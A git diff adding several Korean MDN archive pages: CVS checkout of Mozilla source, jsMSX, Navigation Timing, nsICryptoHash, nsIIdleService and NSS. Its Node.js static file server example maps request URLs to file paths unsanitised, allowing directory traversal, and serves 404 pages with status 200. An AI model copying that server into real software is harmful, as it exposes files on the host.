diff --git a/files/ko/mozilla_source_code_via_cvs/index.html b/files/ko/mozilla_source_code_via_cvs/index.html new file mode 100644 index 0000000000..bcd46453fc --- /dev/null +++ b/files/ko/mozilla_source_code_via_cvs/index.html @@ -0,0 +1,136 @@ +--- +title: Mozilla Source Code Via CVS +slug: Mozilla_Source_Code_Via_CVS +--- +

Those doing active development can check out the latest source using CVS. This is the preferred method if you plan to provide patches and fix bugs, as it lets you get up-to-the-minute changes and merge them with your own.

+

If you want to compile a product for release, it is generally better to Download Mozilla Source Code tarballs.

+

Quick Start Guide

+

I seem to not be editing this page in what others on this development site deem appropriate. So, if you are going to just remove this section, can you please be so kind as to suggest an alternate title of a new page that I can put this information on? Thanks, Jeff Carr

+

The basic steps to checkout the trunk (unstable) Firefox sources are:

+
cvs -d :pserver:anonymous:anonymous@cvs-mirror.mozilla.org:/cvsroot co mozilla/client.mk
+cd mozilla
+make -f client.mk checkout MOZ_CO_PROJECT=browser
+
+

Note that on Windows, your source tree must be located at a /cygdrive/<c> mount point. It must not be located within your /home.

+

Getting Started

+

CVS means "Concurrent Versioning System". To learn more about CVS in general, visit ximbiot.com, or read the tutorial.

+

Anyone can check out (also known as "pull" or "download") the sources via CVS, but only certain people have the ability to check in (make changes, also known as "commit"). Those people are the module owners and their delegates. Read our document on hacking mozilla to find out how to get the ability to check in. You may also wish to read about using SSH to connect to CVS.

+

Requirements

+

To check out the sources, you need to be running CVS 1.11 or later. 1.12.13 does not work with the CVS server, and instead results in hangs, although 1.12.9 is known to work. Furthermore, you must use GNU make to check out and build Mozilla. No other "make" program is acceptable. On windows, mac and regular GNU systems (like GNU/Linux), use "make" to run GNU make; on most non-GNU unixes (like e.g. Solaris, etc.), use "gmake".

+

CVS Client Settings

+

The "cvsroot" (repository identification string) used for anonymous access to Mozilla CVS is

+
:pserver:anonymous:anonymous@cvs-mirror.mozilla.org:/cvsroot
+
+

If you are using a graphical CVS interface, use the following server data:

+ +

Selecting a Project to Pull

+

Since several different applications are built from the same basic source code, you must choose which application to checkout on the command line using the MOZ_CO_PROJECT variable. This information has to be supplied when it comes to the checkout of the actual source code (see the appropriate checkout section below, according to the branch you want to checkout). The possible options include the following:

+
+
+ browser 
+
+ The standalone "Firefox" browser.
+
+ mail 
+
+ The standalone "Thunderbird" mail/news client.
+
+ suite 
+
+ The traditional "Mozilla" SeaMonkey suite of browser, mail/news, composer, and other applications.
+
+ minimo 
+
+ The standalone browser for small devices.
+
+ composer 
+
+ The standalone HTML composer.
+
+ calendar 
+
+ The standalone "Sunbird" calendar app.
+
+ xulrunner 
+
+ The next-generation XUL application launcher.
+
+ macbrowser 
+
+ The "Camino" native browser for Macintosh.
+
+ all 
+
+ Check out sources for all of the above projects, plus some additional utility code
+
+

Multiple projects can be specified with commas: MOZ_CO_PROJECT=suite,browser,xulrunner.

+

Note that if you are using a custom <tt>.mozconfig</tt> file, you can also specify MOZ_CO_PROJECT there, instead of including it on the command line.

+

Checking Out a New Source Tree

+

Check Tinderbox

+

Before pulling a tree, you should always check the appropriate Tinderbox to make sure that the codebase is not broken. If there are red tinderboxes, it is usually advisable to wait until they are green before pulling a tree.

+

Branch HEAD

+

To check out a new source tree from scratch, get the <tt>client.mk</tt> file which contains makefile instructions which are used to pull the rest of the tree:

+
$ cvs -d :pserver:anonymous:anonymous@cvs-mirror.mozilla.org:/cvsroot co mozilla/client.mk
+
+

Note: if you have already set up a <tt>.mozconfig</tt> file, you may also need to check out the following files:

+
+
+ Firefox 
+
+
cvs -d :pserver:anonymous:anonymous@cvs-mirror.mozilla.org:/cvsroot co mozilla/browser/config/mozconfig
+
+
+ Thunderbird 
+
+
cvs -d :pserver:anonymous:anonymous@cvs-mirror.mozilla.org:/cvsroot co mozilla/mail/config/mozconfig
+
+
+

Specific Branch

+

If you want to check out the source code of a specific CVS branch, use

+
$ cvs -d :pserver:anonymous:anonymous@cvs-mirror.mozilla.org:/cvsroot co -r BRANCH mozilla/client.mk
+
+

instead. To, for example, pull the Firefox 2.0 development branch, replace BRANCH above with MOZILLA_1_8_BRANCH. For available branch tags in Mozilla, see CVS Tags.

+

The information on pulling project specific .mozconfig files as listed in the previous section apply to other branches than HEAD as well of course.

+

Checkout

+

After having chosen the correct branch, run:

+
$ cd mozilla
+$ make -f client.mk checkout MOZ_CO_PROJECT=option,option
+
+

As mentioned above, if you are using a custom .mozconfig file where you have already specified the MOZ_CO_PROJECT variable, you do not need to repeat it here on command line.

+
+ Always use <tt>client.mk</tt> to checkout the Mozilla sources: do not check out the <tt>mozilla/</tt> module directly. Various subprojects such as NSS, NSPR, and LDAP C SDK are pulled from stable release tags, even when regular mozilla development occurs on the trunk.
+

Updating a Source Tree

+

Branch HEAD

+

In order to update a source tree (be it branch HEAD or a specific branch) to latest branch HEAD, run:

+
$ cd mozilla
+$ cvs up -A client.mk
+
+

The -A option removes any "sticky branch" information, which leads to the effect that the tree is updated to HEAD.

+

Specific Branch

+

To update a source tree which was pulled from a specific branch, use

+
$ cd mozilla
+$ cvs up -r BRANCH client.mk
+
+

instead. Replace BRANCH by the tag of the branch you want to update.

+

Checkout

+

Having updated client.mk, you can do the checkout:

+
$ make -f client.mk checkout MOZ_CO_PROJECT=option,option
+
+

As always, if you use a custom .mozconfig file where MOZ_CO_PROJECT is already defined, you do not need to repeat it on command line.

+

Creating a Diff File

+

In order to create a diff of a single local file against the current file in the repository, use:

+
$ cvs diff -u8p FILENAME
+
+

See Creating a patch for more information.

+

Converting a Downloaded Source Tree

+

Downloaded source trees from mozilla.org (source tarballs) are already set up with CVS information, like a normal checkout. You can update these trees like normal trees to the latest code, without special action. See previous section on how to update a source tree.

+


+ interwiki link

+

{{ languages( { "fr": "fr/Obtenir_le_code_source_de_Mozilla_via_CVS", "ja": "ja/Mozilla_Source_Code_Via_CVS", "zh-cn": "cn/\u901a\u8fc7CVS\u83b7\u53d6\u6e90\u7801" } ) }}

diff --git a/files/ko/msx_emulator_(jsmsx)/index.html b/files/ko/msx_emulator_(jsmsx)/index.html new file mode 100644 index 0000000000..2ddf77ccfd --- /dev/null +++ b/files/ko/msx_emulator_(jsmsx)/index.html @@ -0,0 +1,28 @@ +--- +title: MSX Emulator (jsMSX) +slug: MSX_Emulator_(jsMSX) +translation_of: Archive/Web/MSX_Emulator_(jsMSX) +--- +

 

+

간략한 소개

+

jsMSX 는 100% JavaScript로만 구현한 첫 MSX 에뮬레이터입니다. 

+

MSX 팬이라면 잘 알고 계시는 Z80 CPU, TMS9918 Video Display Processor (VDP), PPI, RAM slots, 그리고 Megaram 등을 에뮬레이션합니다. MSX1.0 기반으로 개발된 다양한 프로그램이나 게임을 실행할 수 있습니다.

+

JavaScript는 웹브라우저 상에서 가장 활발히 사용하는 스크립트 언어이지만 C언어나 Java언어에 비해서는 성능이 많이 떨어집니다. 따라서, jSMSX가 초당 5~60번의 인터럽트를 처리하려면 상당히 빠른 컴퓨터가 필요합니다. 

+

구현 이유?

+

개발 동기는  <canvas> tag 의 기능을 많은 사람들에게 알리는데 적당하겠다고 생각했고 Firefox 2 브라우저가 이런 기능을 잘  지원하였습니다.

+

아시다시피 javascript의 성능이 그리 좋지 않아 많은 해결해야할 도전 과제들이 있습니다. jsMSX는 javascript의 성능을 평가하고 이를 개선하는데 비교 자료로 사용될 수 있습니다.

+

jsMSX는 웹 로직과 MSX 프로그램을 긴밀하게 연결하는데 사용할 수 있을 것입니다.

+

도울 수 있는 방법

+

성능 향상이 필요한 많은 일들이 있고, MSX 2.0, MSX 2.0+ 그리고 TurboR 기능들도 여전히 구현이 필요한 부분으로 남아있습니다. 버젼 1.0은 MSX1.0에 적합하도록 최적화된 뒤에 릴리즈될 예정입니다. 버젼 2.0, 3.0 그리고 4.0도 각각 MSX 2.0, 2.0+ 그리고 TurboR에 각각 대응되어 릴리즈할 생각입니다.

+

zip파을을 풀 수 있는 JavaScript 펑션이 압축된 ROM을 읽고 풀어내는데 도움이 될 것입니다. 이러한 다양한 일에 참여를 원한다면,다음을 방문해주세요. please have a look at the projectplease drop a line to the project forum.

+ + +

참고

+ diff --git a/files/ko/navigation_timing/index.html b/files/ko/navigation_timing/index.html new file mode 100644 index 0000000000..c9a0c1465b --- /dev/null +++ b/files/ko/navigation_timing/index.html @@ -0,0 +1,137 @@ +--- +title: 내비게이션 타이밍(Navigation Timing) +slug: Navigation_timing +translation_of: Web/API/Navigation_timing_API +--- +

Navigation Timing API는 웹 사이트의 성능을 측정하는 데 사용할 수 있는 데이터를 제공합니다. 같은 목적에 사용했던 다른 JavaScript 기반 메커니즘과 다르게 이 API는 더 유용하고 정확한 종단 간(end-to-end) 대기 시간(latency)을 제공할 수 있습니다.

+

다음 예제는 지각하는(perceived) 로딩 시간을 측정하는 법을 보여줍니다.

+
function onLoad() {
+  var now = new Date().getTime();
+  var page_load_time = now - performance.timing.navigationStart;
+  console.log("User-perceived page loading time: " + page_load_time);
+}
+
+

{{domxref("PerformanceTiming")}} 인터페이스로 접근할 수 있는 밀리 초 단위로 주어진 측정된 이벤트가 많이 있습니다. 발생하는 순서로 된 이벤트 목록입니다.

+ +

window.performance.navigation 객체는 리다이렉트(redirect), 앞/뒤 버튼, 혹은 보통의 URL 로딩이 어떤 페이지 로드를 일으키는지(trigger) 아는 데 사용할 수 있는 두 속성을 저장합니다.

+

window.performance.navigation.type:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
상수설명
TYPE_NAVIGATENEXT0아래 목록의 TYPE_RELOAD과 TYPE_BACK_FORWARD가 사용하는 것 외에, 링크 클릭하기, 사용자 에이전트(UA) 주소 바에 URL 입력하기, 폼 전송, 스크립트 연산으로 초기화하기로 시작한 내비게이션.
TYPE_RELOAD1리로드(reload) 연산 혹은 location.reload() 메소드를 통한 내비게이션.
TYPE_BACK_FORWARD2히스토리 순회(traversal) 연산을 통한 내비게이션
TYPE_UNDEFINED255위 값으로 정의되지 않는 어떠한 내비게이션 타입.
+

window.performance.navigation.redirectCount는 마지막 페이지에 도달할 때까지, 만일 있다면 몇 번의 리다이렉션이 일어났는지를 나타냅니다.

+

Navigation Timing API는 XHR로 서버에 보낸 클라이언트 쪽 성능 데이터를 모을 뿐 아니라 이전 페이지 언로드(unload) 시간, 도메인 룩업(look up) 시간, window.onload 전체 시간 등 다른 방법으로 측정하기 매우 어려운 데이터를 측정하는 데 사용할 수 있습니다.

+

예제

+

어떤 페이지를 로딩하는 데 필요한 전체 시간 계산하기.

+
var perfData = window.performance.timing;
+var pageLoadTime = perfData.loadEventEnd - perfData.navigationStart;
+
+

요청 응답 시간 계산하기.

+
var connectTime = perfData.responseEnd - perfData.requestStart;
+

링크

+ +

브라우저 호환

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChrome**Firefox (Gecko)*Internet ExplorerOpera*Safari (WebKit)
Basic support +

6

+
+

7

+

 

+
915{{ CompatNo() }}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support4.015.0{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+

 

diff --git a/files/ko/new_compatibility_tables_beta/index.html b/files/ko/new_compatibility_tables_beta/index.html new file mode 100644 index 0000000000..80c52f2506 --- /dev/null +++ b/files/ko/new_compatibility_tables_beta/index.html @@ -0,0 +1,24 @@ +--- +title: 새로운 호환성 정보 베타버전 +slug: New_Compatibility_Tables_Beta +translation_of: Archive/MDN/New_Compatibility_Tables_Beta +--- +

당신은 아마도 우리의 새로운 호환성 테이블 중에 있는 베타 알림 링크를 누르고 이 페이지로 왔을 것입니다. (새 테이블을 보고 싶으신가요? 베타 테스터가 되어보십시오. )

+ +

우리가 이것을 테스트하는데 도와주셔서 감사드립니다. 이것들은 더 큰 프로젝트의 일부분입니다. 우리는 브라우저 호환 정보를 규격화된 JSON에 옮기고 있습니다.

+ +

데이터가 새 포맷으로 변환되면, 새 테이블이 웹 문서에 나타날 것입니다.

+ +

편집

+ +

호환성 정보들은 브라우저 호환 정보가 있는 GitHub 저장소 내 JSON 파일로 옮기고 있습니다.

+ +

호환성 정보들에 기여하시려면, 저장소 내 Issues에 보고하거나, pull request를 보내십시오.

+ +

기여하기

+ +

올려져 있는 자료에 문제가 있다면, GitHub 저장소 내 Issues에 알려 주십시오.

+ +

테이블이 이상하게 보이거나, 기능상의 오류가 있으시다면,  "오류 보고하기" 버튼을 눌러 오류를 알려 주십시오.

+ +

시간이 있으시다면, 설문조사에 참여해 주시면 감사하겠습니다. 저희는 의견을 환영합니다.

diff --git a/files/ko/node_server_without_framework/index.html b/files/ko/node_server_without_framework/index.html new file mode 100644 index 0000000000..1050f6aafd --- /dev/null +++ b/files/ko/node_server_without_framework/index.html @@ -0,0 +1,74 @@ +--- +title: Node server without framework +slug: Node_server_without_framework +translation_of: Learn/Server-side/Node_server_without_framework +--- +

소개

+ +

물론 Node 는 서버를 만들고 실행하는데 도움을 주는 많은 프레임워크가 있습니다, 예를 들면:

+ + + +

하지만, 모든 것에 꼭 맞는 사이즈가 없듯이, 개발자들은 어떤 다른 의존성 없이 스스로 서버를 만들어야 할 때가 있습니다.

+ +

예제

+ +

다음은 짧고 간단한 정적 파일 nodejs 서버입니다.

+ +
var http = require('http');
+var fs = require('fs');
+var path = require('path');
+
+http.createServer(function (request, response) {
+    console.log('request ', request.url);
+
+    var filePath = '.' + request.url;
+    if (filePath == './')
+        filePath = './index.html';
+
+    var extname = String(path.extname(filePath)).toLowerCase();
+    var contentType = 'text/html';
+    var mimeTypes = {
+        '.html': 'text/html',
+        '.js': 'text/javascript',
+        '.css': 'text/css',
+        '.json': 'application/json',
+        '.png': 'image/png',
+        '.jpg': 'image/jpg',
+        '.gif': 'image/gif',
+        '.wav': 'audio/wav',
+        '.mp4': 'video/mp4',
+        '.woff': 'application/font-woff',
+        '.ttf': 'application/font-ttf',
+        '.eot': 'application/vnd.ms-fontobject',
+        '.otf': 'application/font-otf',
+        '.svg': 'application/image/svg+xml'
+    };
+
+    contentType = mimeTypes[extname] || 'application/octet-stream';
+
+    fs.readFile(filePath, function(error, content) {
+        if (error) {
+            if(error.code == 'ENOENT'){
+                fs.readFile('./404.html', function(error, content) {
+                    response.writeHead(200, { 'Content-Type': contentType });
+                    response.end(content, 'utf-8');
+                });
+            }
+            else {
+                response.writeHead(500);
+                response.end('Sorry, check with the site admin for error: '+error.code+' ..\n');
+                response.end();
+            }
+        }
+        else {
+            response.writeHead(200, { 'Content-Type': contentType });
+            response.end(content, 'utf-8');
+        }
+    });
+
+}).listen(8125);
+console.log('Server running at http://127.0.0.1:8125/');
diff --git a/files/ko/notable_bugs_fixed_in_firefox_3/index.html b/files/ko/notable_bugs_fixed_in_firefox_3/index.html new file mode 100644 index 0000000000..fa8b5ea99a --- /dev/null +++ b/files/ko/notable_bugs_fixed_in_firefox_3/index.html @@ -0,0 +1,32 @@ +--- +title: Notable bugs fixed in Firefox 3 +slug: Notable_bugs_fixed_in_Firefox_3 +translation_of: Mozilla/Firefox/Releases/3/Notable_bugs_fixed +--- +

이 글은 문서에서는 명확하지 않을 수도 있는 Firefox 3의 중요한 버그 수정 목록을 제공합니다.

+ +

See also

+ +

 

+

 

+

 

+
+  
+

{{ languages( { "en": "en/Notable_bugs_fixed_in_Firefox_3", "es": "es/Bugs_importantes_solucionados_en_Firefox_3", "fr": "fr/Bugs_importants_corrig\u00e9s_dans_Firefox_3", "ja": "ja/Notable_bugs_fixed_in_Firefox_3", "pl": "pl/Istotne_b\u0142\u0119dy_poprawione_w_Firefoksie_3" } ) }}

diff --git a/files/ko/nsicryptohash/index.html b/files/ko/nsicryptohash/index.html new file mode 100644 index 0000000000..a7d656279f --- /dev/null +++ b/files/ko/nsicryptohash/index.html @@ -0,0 +1,271 @@ +--- +title: nsICryptoHash +slug: nsICryptoHash +tags: + - Add-ons + - Extensions + - Interfaces + - 'Interfaces:Scriptable' +translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsICryptoHash +--- +

 

+ +

소개

+ +

nsICryptoHash는 자료의 암호 해쉬 함수를 계산하기 위해 사용합니다. 예를 들어 파일이 담고 있는 데이터가 기대한 것인지 확인하기 위해 MD5 해쉬를 계산할 수 있습니다. 제공되는 해쉬 알고리즘은 MD2, MD5, SHA-1, SHA-256, SHA-384, SHA-512입니다. 이 인터페이스는 파이어폭스 1.5 버전 이상에서만 사용할 수 있습니다.

+ +

+
netwerk/base/public/nsICryptoHash.idl스크립트에서 사용 가능
+ + +Please add a summary to this article. + + +
+  +Last changed in Gecko 1.8 (Firefox 1.5 / Thunderbird 1.5 / SeaMonkey 1.0)
+

+ +

상수

+ +

해쉬 알고리즘

+ +

이 상수들은 인터페이스가 제공하는 해쉬 알고리즘을 나타냅니다. 사용가능한 것은 다음과 같습니다. :

+ + + +

메서드

+ +

init

+ +
void init(in unsigned long aAlgorithm);
+
+ +

init()는 인터페이스에 정의된 상수를 이용하여 해쉬 알고리즘을 결정하여 객체를 초기화합니다. 객체의 자료를 갱신하기 전에 반드시 이 메서드나 initWithString()를 호출해야 합니다.

+ +
패러미터
+ +

aAlgorithm

+ +
+
해쉬 알고리즘을 선택합니다. 인터페이스에 정의된 상수 중 하나를 선택해야 합니다.
+
+ +
예외
+ +

NS_ERROR_INVALID_ARG

+ +
+
지원하지 않는 해쉬 알고리즘이 선택되었다는 것을 알립니다.
+
+ +

initWithString

+ +
void initWithString(in ACString aAlgorithm);
+
+ +

initWithString()"MD5"와 같이 문자열로 된 알고리즘의 이름으로 해쉬 알고리즘을 선택하여 객체를 초기화한다. 객체의 자료를 갱신하기 전에 반드시 이 메서드나 init()를 호출해야 합니다.

+ +
패러미터
+ +

aAlgorithm

+ +
+
사용할 해쉬 알고리즘이 선택합니다.
+
+ +
예외
+ +

NS_ERROR_INVALID_ARG

+ +
+
지원하지 않는 해쉬 알고리즘이 선택되었다는 것을 알립니다.
+
+ +

update

+ +
void update([const, array, size_is(aLen)] in octet aData, in unsigned long aLen);
+
+ +

update()는 해쉬된 자료 배열을 객체에 추가합니다. 이 메서드 사용 예제는 문자열 해쉬 연산하기를 보세요.

+ +
패러미터
+ +

aData

+ +
+
해쉬를 계산하기 위해 넘기는 버퍼
+
+ +

aLen

+ +
+
버퍼 aData의 길이
+
+ +
예외
+ +

NS_ERROR_NOT_INITIALIZED

+ +
+
init()initWithString()가 호출되지 않았다는 것을 알립니다.
+
+ +

updateFromStream

+ +
void updateFromStream(in nsIInputStream aStream, in unsigned long aLen);
+
+ +

updateFromStream()nsIInputStream로 해쉬될 데이터를 추가합니다. 이 메서드의 사용 예제는 파일 해쉬 연산하기를 보세요.

+ +
패러미터
+ +

aStream

+ +
+
읽어올 입력 스트림
+
+ +

aLen

+ +
+
aStream으로 부터 읽을 양을 결정합니다. 해쉬 갱신할 수 있는 최대 양으로 지정하려면 PR_UINT32_MAX를 전달하면 됩니다.
+
+ +
예외
+ +

NS_ERROR_NOT_INITIALIZED

+ +
+
init()initWithString()가 호출되지 않았다는 것을 알립니다.
+
+ +

NS_ERROR_NOT_AVAILABLE

+ +
+
해쉬 연산 자료량이 허용되지 않습니다.
+
+ +

finish

+ +
ACString finish(in PRBool aASCII);
+
+ +

finish() 메서드는 해쉬 객체를 완성시켜 실제 해쉬 자료를 생성합니다.

+ +
패러미터
+ +

aASCII

+ +
+
참이면 반환 값은 base 64 인코딩된 문자열입니다. 거짓이면 이진(binary) 자료로 반환합니다.
+
+ +
반환 값
+ +

이 메서드는 객체가 읽은 자료의 해쉬를 반환합니다. 이 반환 값은 이진 자료일 수 있고 base 64 인코딩된 문자열일 수 있습니다.

+ +
예외
+ +

NS_ERROR_NOT_INITIALIZED

+ +
+
init()initWithString()가 호출되지 않았다는 것을 알립니다.
+
+ +
주의: 이 메서드는 init()가 호출된 후로 수회 실행이 가능합니다. 이 호출은 객체를 초기상태로 만듭니다.
+ +

예제 코드

+ +
주의: 아래의 예제는 파이어폭스 2에 구현된 자바스크립트 1.7의 특성을 사용합니다. 파이어폭스 1.5에서 예제를 사용할려면 배열 통합(array comprehension) 대신에 반복을 사용하세요.
+ +

파일 해쉬 연산하기

+ +

nsICryptoHash를 사용하여 파일 해쉬 연산을 쉽게할 수 있습니다. nsICryptoHash 인스턴스를 생성하고 파일을 입력 스트림으로 열고 파일의 자료로 해쉬를 갱신하길 원할 겁니다. 아래의 예제가 파일 MD5 해쉬 연산을 어떻게 하는지 보여줍니다.

+ +
// hardcoded here for convenience
+var path = "c:\\windows\\notepad.exe";
+var f = Components.classes["@mozilla.org/file/local;1"]
+                  .createInstance(Components.interfaces.nsILocalFile);
+f.initWithPath(path);
+var istream = Components.classes["@mozilla.org/network/file-input-stream;1"]
+                        .createInstance(Components.interfaces.nsIFileInputStream);
+// open for reading
+istream.init(f, 0x01, 0444, 0);
+var ch = Components.classes["@mozilla.org/security/hash;1"]
+                   .createInstance(Components.interfaces.nsICryptoHash);
+// we want to use the MD5 algorithm
+ch.init(ch.MD5);
+// this tells updateFromStream to read the entire file
+const PR_UINT32_MAX = 0xffffffff;
+ch.updateFromStream(istream, PR_UINT32_MAX);
+// pass false here to get binary data back
+var hash = ch.finish(false);
+
+// return the two-digit hexadecimal code for a byte
+function toHexString(charCode)
+{
+  return ("0" + charCode.toString(16)).slice(-2);
+}
+
+// convert the binary hash data to a hex string.
+var s = Array.from(hash, (c, i) => toHexString(hash.charCodeAt(i))).join("");
+// s now contains your hash in hex
+
+ +

내 윈도우즈 XP SP2 시스템에서 해쉬 값으로 5eb63bbbe01eeed093cb22bb8f5acdc3를 주었지만 여러분의 경우는 수가 다를 수 있습니다. 이 간단한 예제는 인터페이스의 기능을 대부분 보여줍니다.

+ +

첫번째로 주목할 부분은 init() 메서드를 호출할 때 해쉬 알고리즘을 결정하는 것입니다. 가능한 모든 올고리즘은 인터페이스의 상수에 규정되어 있습니다.

+ +

또 주목할 곳은 updateFromStream() 메서드를 호출할 때 두번째 패러미터가 읽어들일 바이트 수라는 것입니다. 여기에 PR_UINT32_MAX를 보내면 전체 파일을 읽길 원한다고 지시하는 겁니다.

+ +

마지막으로 finish() 메서드 호출이 해쉬 값을 생성하는 것입니다. 예제처럼 첫번째 패러미터가 false이면 이진 값을 반환합니다. true를 보내면 해쉬 값은 base 64 인코딩된 문자열로 옵니다. 이 예제에서 해쉬 프로그램에 의해 이진 자료를 입력하고 그 결과로 기본 출력인 16진 문자열을 얻습니다.

+ +

문자열 해쉬 연산하기

+ +

또다른 기본 연산은 문자열 해쉬 값을 연산하는 것입니다. 해쉬 함수가 여러 바이트를 연산하기 때문에 먼저 문자열을 nsIScriptableUnicodeConverter를 사용하여 바이트의 순열로 바꾸고 원하는 유니코드 인코딩으로 바꿔야 합니다.

+ +
주의: 다른 인코딩은 다른 해쉬 값을 만듭니다! 결과 값을 비교할려면 항상 같은 인코딩을 사용해야 합니다.
+ +

아래의 예제는 문자열을 UTF-8 인코딩의 바이트로 바꾸고 MD5 해쉬 값을 계산하는 방법을 보여줍니다. 결과 값은 이전 예제 처럼 16진 문자열입니다.

+ +
var str = "hello world";
+var converter =
+  Components.classes["@mozilla.org/intl/scriptableunicodeconverter"].
+    createInstance(Components.interfaces.nsIScriptableUnicodeConverter);
+
+// we use UTF-8 here, you can choose other encodings.
+converter.charset = "UTF-8";
+// result is an out parameter,
+// result.value will contain the array length
+var result = {};
+// data is an array of bytes
+var data = converter.convertToByteArray(str, result);
+var ch = Components.classes["@mozilla.org/security/hash;1"]
+                   .createInstance(Components.interfaces.nsICryptoHash);
+ch.init(ch.MD5);
+ch.update(data, data.length);
+var hash = ch.finish(false);
+
+// return the two-digit hexadecimal code for a byte
+function toHexString(charCode)
+{
+  return ("0" + charCode.toString(16)).slice(-2);
+}
+
+// convert the binary hash data to a hex string.
+var s = Array.from(hash, (c, i) => toHexString(hash.charCodeAt(i))).join("");
+// s now contains your hash in hex: should be
+// 5eb63bbbe01eeed093cb22bb8f5acdc3
+
+ +

이 예제에서 해쉬 배열을 보내기 위해 update() 메서드를 씁니다. 이전 예제처럼 이진 결과를 16진 문자열로 변경했습니다.

+ +

diff --git a/files/ko/nsiidleservice/index.html b/files/ko/nsiidleservice/index.html new file mode 100644 index 0000000000..d8989f6375 --- /dev/null +++ b/files/ko/nsiidleservice/index.html @@ -0,0 +1,134 @@ +--- +title: nsIIdleService +slug: nsIIdleService +tags: + - Interfaces + - MDC Project + - NeedsContent + - XPCOM API Reference +translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsIIdleService +--- +

« XPCOM API Reference

+

+
widget/public/nsIIdleService.idl스크립트에서 사용 가능
+ + +Please add a summary to this article. + + +
+  +Last changed in Gecko 1.9a
+

+

요약

+

유휴 서비스를 이용하면 사용자가 얼마나 오래 '유휴 상태' 즉, 마우스나 키보드를 사용하지 않았는지 감시할 수 있습니다. 유휴 시간을 직접 얻을 수도 있지만 대부분의 경우 미리 지정한 간격에 대한 관찰자를 등록하게 됩니다.

+

현재 nsIIdleService 구현은 Windows, Mac OS X, Linux (XScreenSaver 이용)에 존재합니다.

+

구현 클래스: @mozilla.org/widget/idleservice;1. 인스턴스를 생성하려면 다음과 코드를 사용합니다.

+
var idleService = Components.classes["@mozilla.org/widget/idleservice;1"]
+                            .getService(Components.interfaces.nsIIdleService)
+
+

메소드 개요

+ + + + + + + + + +
void addIdleObserver(in nsIObserver observer, in unsigned long time)
void removeIdleObserver(in nsIObserver observer, in unsigned long time)
+

속성

+ + + + + + + + + + + + + +
속성형식설명
idleTimelong1000분의 1초 단위의 마지막 사용자 동작 이후 지난 시간. + + 읽기 전용. +
+

메소드

+

addIdleObserver()

+

사용자가 특정 시간 동안 유휴일 때와 유휴 상태에서 돌아올 때 알림을 받을 관찰자를 추가합니다.

+
void addIdleObserver(
+  in nsIObserver observer,
+  in unsigned long time
+)
+
+
매개 변수
+
+
+ <tt>observer</tt>
+
+ 알림을 받을 관찰자
+
+
+
+ <tt>time</tt>
+
+ 관찰자에게 알리기 전에 사용자가 유휴 상태이어야 하는 초 단위 시간.
+
+
참고
+ + + +

removeIdleObserver()

+

addIdleObserver로 등록한 관찰자를 제거합니다.

+
void removeIdleObserver(
+  in nsIObserver observer,
+  in unsigned long time
+)
+
+
매개 변수
+
+
+ <tt>observer</tt>
+
+ 삭제할 관찰자
+
+
+
+ <tt>time</tt>
+
+ 관찰자가 기다리던 시간
+
+
Remarks
+

관찰자는 것은 여러분이 지정한 유휴 시간에 대하여 한 번 제거하게 됩니다. 관찰자를 여러 번 추가했다면 그 수 만큼 제거

+

예제 코드

+

예제 1:

+
var idleService = Components.classes["@mozilla.org/widget/idleservice;1"]
+                            .getService(Components.interfaces.nsIIdleService)
+setTimeout(function() { alert(idleService.idleTime) }, 1000)
+// if you don't use the mouse or the keyboard after running this snippet,
+// you'll see a number around 1000 alerted.
+
+

예제 2:

+
var idleService = Components.classes["@mozilla.org/widget/idleservice;1"]
+                            .getService(Components.interfaces.nsIIdleService)
+var idleObserver = {
+  observe: function(subject, topic, data) {
+    alert("topic: " + topic + "\ndata: " + data);
+  }
+};
+idleService.addIdleObserver(idleObserver, 60); // one minute
+// ...
+// Don't forget to remove the observer using removeIdleObserver!
+idleService.removeIdleObserver(idleObserver, 60);
+
+

Interwiki Language Links

+

diff --git a/files/ko/nss/index.html b/files/ko/nss/index.html new file mode 100644 index 0000000000..5e8100645e --- /dev/null +++ b/files/ko/nss/index.html @@ -0,0 +1,64 @@ +--- +title: Network Security Services +slug: NSS +tags: + - MDC Project + - NSS + - NeedsMigration +translation_of: Mozilla/Projects/NSS +--- +

 

+

네트워크 보안 서비스(NSS, Network Security Services)는 보안이 가능한 클라이언트와 서버의 응용 프로그램 개발을 지원하는 양방향 플랫폼으로 설계된 라이브러리의 묶음입니다. NSS로 개발된 응용 프로그램은 SSL 2, v3, TLS, PKCS #5, PKCS #7, PKCS #11, PKCS #12, S/MIME, X.509 v3와 이외의 보안 기준들을 지원합니다. 지원되는 기준들에 대한 자세한 정보는 Overview of NSS를 참고하세요. 자주 묻는 질문 리스트는 [[NSS_FAQ{{mediawiki.external('FAQ')}}]를 참고하세요.

+

NSS는 모질라 공용 라이선스, GNU 일반 공용 라이선스 그리고 GNU 소형 일반 공용 라이선스 하에서 이용이 가능합니다. .tar 파일로 배포된 NSS를 다운로드 하려면 PKI 소스 다운로드를 참조하세요.

+ + + + + + + +
+

Documentation

+ +

아래 주제와 관련된 추가 문서를 사용할 수 있습니다. (위키에서만 가능)

+ +

QA/testing :

+ +

Information on NSS planning can be found at wiki.mozilla.org, including:

+ +
+

Community

+
    +
  • View Mozilla Security forums...
  • +
+

{{ DiscussionList("dev-security", "mozilla.dev.security") }}

+
    +
  • View Mozilla Cryptography forums...
  • +
+

{{ DiscussionList("dev-tech-crypto", "mozilla.dev.tech.crypto") }}

+ +
+
+ Security
+
+
+

 

+

 

+
+  
+

{{ languages( { "es": "es/NSS", "ja": "ja/NSS" } ) }}

diff --git a/files/ko/nss/new_nss_samples/index.html b/files/ko/nss/new_nss_samples/index.html new file mode 100644 index 0000000000..dd972868a6 --- /dev/null +++ b/files/ko/nss/new_nss_samples/index.html @@ -0,0 +1,37 @@ +--- +title: New NSS Samples +slug: NSS/New_NSS_Samples +translation_of: Mozilla/Projects/NSS/New_NSS_Samples +--- +

New NSS Sample Code

+ +

 

+ +

여기 샘플 코드 모음은 NSS가 암호화 작업, 인증서 처리, SSL 등에 어떻게 사용될 수 있는지 보여줍니다. 또한 암호화 적용에 대한 몇 가지 모범 사례를 보여줍니다.

+ +


+ These new examples are still a work in progress. See https://bugzilla.mozilla.org/show_bug.cgi?id=490238

+ +

You are welcome to download the new samples via:

+ +
